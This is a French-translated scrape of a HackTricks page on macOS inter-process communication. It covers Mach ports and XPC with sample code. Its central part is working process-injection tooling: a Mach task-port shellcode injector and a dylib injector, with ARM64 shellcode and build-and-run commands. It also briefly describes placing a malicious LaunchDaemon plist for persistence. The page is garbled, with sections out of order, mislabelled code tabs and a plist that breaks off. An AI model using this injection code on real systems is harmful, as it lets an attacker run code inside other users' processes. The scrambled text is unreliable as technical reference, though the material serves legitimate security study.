hacktricks/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication
2023-06-26 13:20:57 +00:00
..
macos-pid-reuse.md Translated ['backdoors/salseo.md', 'generic-methodologies-and-resources/ 2023-06-14 11:59:06 +00:00
macos-xpc-authorization.md Translated to French 2023-06-03 13:10:46 +00:00
macos-xpc-connecting-process-check.md Translated ['backdoors/salseo.md', 'macos-hardening/macos-security-and-p 2023-06-13 16:48:58 +00:00
README.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2023-06-26 13:20:57 +00:00

IPC Mach - Communication inter-processus

Mach utilise des tâches comme la plus petite unité pour partager des ressources, et chaque tâche peut contenir plusieurs threads. Ces tâches et threads sont mappés 1:1 sur les processus et threads POSIX.

La communication entre les tâches se fait via la communication inter-processus (IPC) de Mach, en utilisant des canaux de communication unidirectionnels. Les messages sont transférés entre les ports, qui agissent comme des files d'attente de messages gérées par le noyau.

Les droits de port, qui définissent les opérations qu'une tâche peut effectuer, sont essentiels à cette communication. Les droits de port possibles sont :

  • Droit de réception, qui permet de recevoir des messages envoyés au port. Les ports Mach sont des files d'attente MPSC (multiple-producteur, unique-consommateur), ce qui signifie qu'il ne peut y avoir qu'un seul droit de réception pour chaque port dans tout le système (contrairement aux pipes, où plusieurs processus peuvent tous détenir des descripteurs de fichier pour l'extrémité de lecture d'un pipe).
  • Une tâche avec le droit de réception peut recevoir des messages et créer des droits d'envoi, lui permettant d'envoyer des messages. À l'origine, seule la propre tâche a le droit de réception sur son port.
  • Droit d'envoi, qui permet d'envoyer des messages au port.
  • Droit d'envoi unique, qui permet d'envoyer un message au port puis de disparaître.
  • Droit de jeu de ports, qui indique un ensemble de ports plutôt qu'un seul port. Le défilement d'un message à partir d'un ensemble de ports défile un message à partir de l'un des ports qu'il contient. Les ensembles de ports peuvent être utilisés pour écouter plusieurs ports simultanément, un peu comme select/poll/epoll/kqueue dans Unix.
  • Nom mort, qui n'est pas un droit de port réel, mais simplement un espace réservé. Lorsqu'un port est détruit, tous les droits de port existants sur le port deviennent des noms morts.

Les tâches peuvent transférer des droits d'ENVOI à d'autres, leur permettant d'envoyer des messages en retour. Les droits d'ENVOI peuvent également être clonés, de sorte qu'une tâche peut dupliquer et donner le droit à une troisième tâche. Cela, combiné à un processus intermédiaire connu sous le nom de serveur d'amorçage, permet une communication efficace entre les tâches.

Étapes :

Comme mentionné, pour établir le canal de communication, le serveur d'amorçage (launchd sur Mac) est impliqué.

  1. La tâche A initie un nouveau port, obtenant un droit de réception dans le processus.
  2. La tâche A, étant le détenteur du droit de réception, génère un droit d'envoi pour le port.
  3. La tâche A établit une connexion avec le serveur d'amorçage, fournissant le nom de service du port et le droit d'envoi par une procédure connue sous le nom d'enregistrement d'amorçage.
  4. La tâche B interagit avec le serveur d'amorçage pour exécuter une recherche d'amorçage pour le service. Si elle réussit, le serveur duplique le droit d'envoi reçu de la tâche A et le transmet à la tâche B.
  5. Après avoir acquis un droit d'envoi, la tâche B est capable de formuler un message et de l'envoyer à la tâche A.

Le serveur d'amorçage ne peut pas authentifier le nom de service revendiqué par une tâche. Cela signifie qu'une tâche pourrait potentiellement usurper n'importe quelle tâche système, en revendiquant faussement un nom de service d'autorisation, puis en approuvant chaque demande.

Ensuite, Apple stocke les noms des services fournis par le système dans des fichiers de configuration sécurisés, situés dans des répertoires protégés par SIP : /System/Library/LaunchDaemons et /System/Library/LaunchAgents. À côté de chaque nom de service, le binaire associé est également stocké. Le serveur d'amorçage créera et conservera un droit de réception pour chacun de ces noms de service.

Pour ces services prédéfinis, le processus de recherche diffère légèrement. Lorsqu'un nom de service est recherché, launchd démarre le service dynamiquement. Le nouveau flux de travail est le suivant :

  • La tâche B initie une recherche d'amorçage pour un nom de service.
  • launchd vérifie si la tâche est en cours d'exécution et si ce n'est pas le cas, la démarre.
  • La tâche A (le service) effectue un enregistrement de vérification d'amorçage. Ici, le serveur d'amorçage crée un droit d'envoi, le retient et transfère le droit de réception à la tâche A.
  • launchd duplique le droit d'envoi et l'envoie à la tâche B.

Cependant, ce processus ne s'applique qu'aux tâches système prédéfinies. Les tâches non système fonctionnent toujours comme décrit à l'origine, ce qui pourrait potentiellement permettre l'usurpation.

Exemple de code

Notez comment l'expéditeur alloue un port, crée un droit d'envoi pour le nom org.darlinghq.example et l'envoie au serveur de démarrage tandis que l'expéditeur a demandé le droit d'envoi de ce nom et l'a utilisé pour envoyer un message.

{% tabs %} {% tab title="receiver.c" %}

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);


// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");


// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");


// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG,     // Options. We're receiving a message.
0,                // Size of the message being sent, if sending.
sizeof(message),  // Size of the buffer for receiving.
port,             // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");

message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}

{% endtab %}

{% tab title="receiver.c" %}

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);


// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;

message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;

strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;

// Send the message.
kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG,    // Options. We're sending a message.
sizeof(message),  // Size of the message being sent.
0,                // Size of the buffer for receiving.
MACH_PORT_NULL,   // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}

{% endtab %} {% endtabs %}

Ports and Sandboxing

When a process is sandboxed, it can't access the task port of other processes. This means that it can't control them. However, it can still send messages to them through other ports. For example, it can send messages to the notifyd daemon, which can then send messages to other processes.

References

// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>

int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] processIdentifier]);
[NSThread sleepForTimeInterval:99999];
}
return 0;
}

{% endtab %}

{% tab title="entitlements.plist" %}

Architecture macOS - IPC (Communication inter-processus)

Les processus sur macOS communiquent entre eux en utilisant plusieurs mécanismes d'IPC (Communication inter-processus). Les IPC sont utilisés pour permettre aux processus de communiquer entre eux et de partager des ressources. Les IPC sont utilisés pour les tâches suivantes :

  • Communication entre processus
  • Partage de mémoire
  • Synchronisation de processus
  • Signaux

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<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>

{% endtab %} {% endtabs %}

Compilez le programme précédent et ajoutez les droits nécessaires pour pouvoir injecter du code avec le même utilisateur (sinon vous devrez utiliser sudo).

injector.m ```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector

#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>

#ifdef arm64

kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";

int inject(pid_t pid){

task_t remoteTask;

// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }

// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }

// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }

// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); }

// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); }

// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); return (-3); }

return (0); }

int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv[0]); return 1; }

pid_t pid = atoi(argv[1]); inject(pid); }

return 0; }

</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pid-of-mysleep>

Injection de processus Dylib via le port de tâche

Dans macOS, les threads peuvent être manipulés via Mach ou en utilisant l'API posix pthread. Le thread que nous avons généré dans l'injection précédente a été généré en utilisant l'API Mach, donc il n'est pas conforme à posix.

Il était possible d'injecter un simple shellcode pour exécuter une commande car il n'avait pas besoin de travailler avec des API conformes à posix, seulement avec Mach. Des injections plus complexes nécessiteraient donc que le thread soit également conforme à posix.

Par conséquent, pour améliorer le shellcode, il devrait appeler pthread_create_from_mach_thread qui va créer un pthread valide. Ensuite, ce nouveau pthread pourrait appeler dlopen pour charger notre dylib depuis le système.

Vous pouvez trouver des dylibs d'exemple dans (par exemple celui qui génère un journal que vous pouvez ensuite écouter) :

{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %} macos-dyld-hijacking-and-dyld_insert_libraries.md {% endcontent-ref %}

dylib_injector.m ```objectivec // gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector // Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c #include #include #include #include <sys/types.h> #include <mach/mach.h> #include <mach/error.h> #include #include #include <sys/sysctl.h> #include <sys/mman.h>

#include <sys/stat.h> #include <pthread.h>

#ifdef arm64 //#include "mach/arm/thread_status.h"

// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported // And I say, bullshit. kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

char injectedCode[] =

"\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)

// Call pthread_set_self

"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables "\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack "\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer "\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the "\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0; "\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start "\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0; "\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) "\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread "\x00\x00\x00\x14" // loop: b loop ; loop forever

// Call dlopen with the path to the library "\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB..."; "\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0; "\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop "\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()

// Call pthread_exit "\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT "\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0; "\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit

"PTHRDCRT" // <- "PTHRDEXT" // <- "DLOPEN__" // <- "LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;

int inject(pid_t pid, const char *lib) {

task_t remoteTask; struct stat buf;

// Check if the library exists int rc = stat (lib, &buf);

if (rc != 0) { fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno)); //return (-9); }

// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }

// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }

// Patch shellcode

int i = 0; char *possiblePatchLocation = (injectedCode ); for (i = 0 ; i < 0x100; i++) {

// Patching is crude, but works. // extern void *_pthread_set_self; possiblePatchLocation++;

uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread; uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit; uint64_t addrOfDlopen = (uint64_t) dlopen;

if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0) { memcpy(possiblePatchLocation, &addrOfPthreadExit,8); printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit); }

if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
}

if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf ("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}

if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib );
}
}

// Écrire le shellcode dans la mémoire allouée
kr = mach_vm_write(remoteTask,                   // Port de tâche
remoteCode64,                 // Adresse virtuelle (destination)
(vm_address_t) injectedCode,  // Source
0xa9);                       // Longueur de la source


if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Impossible d'écrire dans la mémoire du thread distant : Erreur %s\n", mach_error_string(kr));
return (-3);
}


// Définir les autorisations sur la mémoire allouée pour le code
kr  = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Impossible de définir les autorisations de mémoire pour le code du thread distant : Erreur %s\n", mach_error_string(kr));
return (-4);
}

// Définir les autorisations sur la mémoire allouée pour la pile
kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Impossible de définir les autorisations de mémoire pour la pile du thread distant : Erreur %s\n", mach_error_string(kr));
return (-4);
}


// Créer un thread pour exécuter le shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t         remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // c'est la vraie pile
//remoteStack64 -= 8;  // besoin d'un alignement de 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Pile distante 64  0x%llx, le code distant est %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) {
fprintf(stderr,"Impossible de créer un thread distant : erreur %s", mach_error_string (kr));
return (-3);
}

return (0);
}



int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf (stderr, "Utilisation : %s _pid_ _action_\n", argv[0]);
fprintf (stderr, "   _action_ : chemin vers un dylib sur le disque\n");
exit(0);
}

pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;

int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
else
{
fprintf(stderr,"Dylib non trouvé\n");
}

}
```bash gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector ./inject </path/to/lib.dylib> ``` ## XPC

Informations de base

XPC, qui signifie Communication inter-processus XNU (le noyau utilisé par macOS), est un framework pour la communication entre processus sur macOS et iOS. XPC fournit un mécanisme pour effectuer des appels de méthode asynchrones et sécurisés entre différents processus sur le système. C'est une partie du paradigme de sécurité d'Apple, permettant la création d'applications séparées par privilèges où chaque composant s'exécute avec seulement les autorisations dont il a besoin pour effectuer son travail, limitant ainsi les dommages potentiels d'un processus compromis.

XPC utilise une forme de communication inter-processus (IPC), qui est un ensemble de méthodes pour que différents programmes s'exécutant sur le même système puissent s'envoyer des données.

Les principaux avantages de XPC comprennent :

  1. Sécurité : En séparant le travail en différents processus, chaque processus peut se voir accorder uniquement les autorisations dont il a besoin. Cela signifie que même si un processus est compromis, il a une capacité limitée à causer des dommages.
  2. Stabilité : XPC aide à isoler les plantages dans le composant où ils se produisent. Si un processus plante, il peut être redémarré sans affecter le reste du système.
  3. Performance : XPC permet une concurrence facile, car différentes tâches peuvent être exécutées simultanément dans différents processus.

Le seul inconvénient est que séparer une application en plusieurs processus les faisant communiquer via XPC est moins efficace. Mais dans les systèmes d'aujourd'hui, cela n'est presque pas perceptible et les avantages sont bien meilleurs.

Un exemple peut être vu dans QuickTime Player, où un composant utilisant XPC est responsable du décodage vidéo. Le composant est spécifiquement conçu pour effectuer des tâches de calcul, ainsi, en cas de violation, il ne fournirait pas de gains utiles à l'attaquant, tels que l'accès aux fichiers ou au réseau.

Services XPC spécifiques à l'application

Les composants XPC d'une application sont à l'intérieur de l'application elle-même. Par exemple, dans Safari, vous pouvez les trouver dans /Applications/Safari.app/Contents/XPCServices. Ils ont l'extension .xpc (comme com.apple.Safari.SandboxBroker.xpc) et sont également des bundles avec le binaire principal à l'intérieur : /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker

Comme vous pouvez le penser, un composant XPC aura des autorisations et des privilèges différents des autres composants XPC ou du binaire principal de l'application. SAUF si un service XPC est configuré avec JoinExistingSession défini sur "True" dans son fichier Info.plist. Dans ce cas, le service XPC s'exécutera dans la même session de sécurité que l'application qui l'a appelé.

Les services XPC sont démarrés par launchd lorsque cela est nécessaire et arrêtés une fois que toutes les tâches sont terminées pour libérer les ressources système. Les composants XPC spécifiques à l'application ne peuvent être utilisés que par l'application, réduisant ainsi le risque associé aux vulnérabilités potentielles.

Services XPC à l'échelle du système

Les services XPC à l'échelle du système sont accessibles à tous les utilisateurs. Ces services, soit launchd soit de type Mach, doivent être définis dans des fichiers plist situés dans des répertoires spécifiés tels que /System/Library/LaunchDaemons, /Library/LaunchDaemons, /System/Library/LaunchAgents, ou /Library/LaunchAgents.

Ces fichiers plist auront une clé appelée MachServices avec le nom du service, et une clé appelée Program avec le chemin d'accès au binaire :

cat /Library/LaunchDaemons/com.jamf.management.daemon.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Program</key>
<string>/Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfDaemon.app/Contents/MacOS/JamfDaemon</string>
<key>AbandonProcessGroup</key>
<true/>
<key>KeepAlive</key>
<true/>
<key>Label</key>
<string>com.jamf.management.daemon</string>
<key>MachServices</key>
<dict>
<key>com.jamf.management.daemon.aad</key>
<true/>
<key>com.jamf.management.daemon.agent</key>
<true/>
<key>com.jamf.management.daemon.binary</key>
<true/>
<key>com.jamf.management.daemon.selfservice</key>
<true/>
<key>com.jamf.management.daemon.service</key>
<true/>
</dict>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

Ceux dans LaunchDameons sont exécutés par root. Donc, si un processus non privilégié peut communiquer avec l'un d'entre eux, il pourrait être en mesure d'escalader les privilèges.

Messages d'événement XPC

Les applications peuvent s'abonner à différents messages d'événement, leur permettant d'être initiées à la demande lorsque de tels événements se produisent. La configuration de ces services est effectuée dans des fichiers plist de lancement, situés dans les mêmes répertoires que les précédents et contenant une clé supplémentaire LaunchEvent.

Vérification du processus de connexion XPC

Lorsqu'un processus essaie d'appeler une méthode via une connexion XPC, le service XPC doit vérifier si ce processus est autorisé à se connecter. Voici les moyens courants de vérifier cela et les pièges courants :

{% content-ref url="macos-xpc-connecting-process-check.md" %} macos-xpc-connecting-process-check.md {% endcontent-ref %}

Autorisation XPC

Apple permet également aux applications de configurer certains droits et la manière de les obtenir afin que si le processus appelant les possède, il serait autorisé à appeler une méthode du service XPC :

{% content-ref url="macos-xpc-authorization.md" %} macos-xpc-authorization.md {% endcontent-ref %}

Exemple de code C

{% tabs %} {% tab title="xpc_server.c" %}

// gcc xpc_server.c -o xpc_server

#include <xpc/xpc.h>

static void handle_event(xpc_object_t event) {
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
// Print received message
const char* received_message = xpc_dictionary_get_string(event, "message");
printf("Received message: %s\n", received_message);

// Create a response dictionary
xpc_object_t response = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(response, "received", "received");

// Send response
xpc_connection_t remote = xpc_dictionary_get_remote_connection(event);
xpc_connection_send_message(remote, response);

// Clean up
xpc_release(response);
}
}

static void handle_connection(xpc_connection_t connection) {
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
handle_event(event);
});
xpc_connection_resume(connection);
}

int main(int argc, const char *argv[]) {
xpc_connection_t service = xpc_connection_create_mach_service("xyz.hacktricks.service",
dispatch_get_main_queue(),
XPC_CONNECTION_MACH_SERVICE_LISTENER);
if (!service) {
fprintf(stderr, "Failed to create service.\n");
exit(EXIT_FAILURE);
}

xpc_connection_set_event_handler(service, ^(xpc_object_t event) {
xpc_type_t type = xpc_get_type(event);
if (type == XPC_TYPE_CONNECTION) {
handle_connection(event);
}
});

xpc_connection_resume(service);
dispatch_main();

return 0;
}

{% endtab %}

{% tab title="xpc_server.c" %}

// gcc xpc_client.c -o xpc_client

#include <xpc/xpc.h>

int main(int argc, const char *argv[]) {
xpc_connection_t connection = xpc_connection_create_mach_service("xyz.hacktricks.service", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);

xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
// Print received message
const char* received_message = xpc_dictionary_get_string(event, "received");
printf("Received message: %s\n", received_message);
}
});

xpc_connection_resume(connection);

xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(message, "message", "Hello, Server!");

xpc_connection_send_message(connection, message);

dispatch_main();

return 0;
}

{% endtab %}

{% tab title="xyz.hacktricks.service.plist" %}

Le fichier xyz.hacktricks.service.plist est un fichier de configuration de service qui peut être utilisé pour lancer un service personnalisé sur macOS. Il peut être utilisé pour lancer un service malveillant qui peut être utilisé pour l'escalade de privilèges ou pour l'installation persistante de logiciels malveillants.

Pour créer un fichier xyz.hacktricks.service.plist, vous pouvez utiliser l'éditeur de texte nano ou vi. Le fichier doit être placé dans le répertoire /Library/LaunchDaemons/ pour qu'il soit exécuté au démarrage du système.

Voici un exemple de fichier xyz.hacktricks.service.plist qui lance un script malveillant au démarrage du système :

<?xml version="1.0" encoding="UTF-8"?>
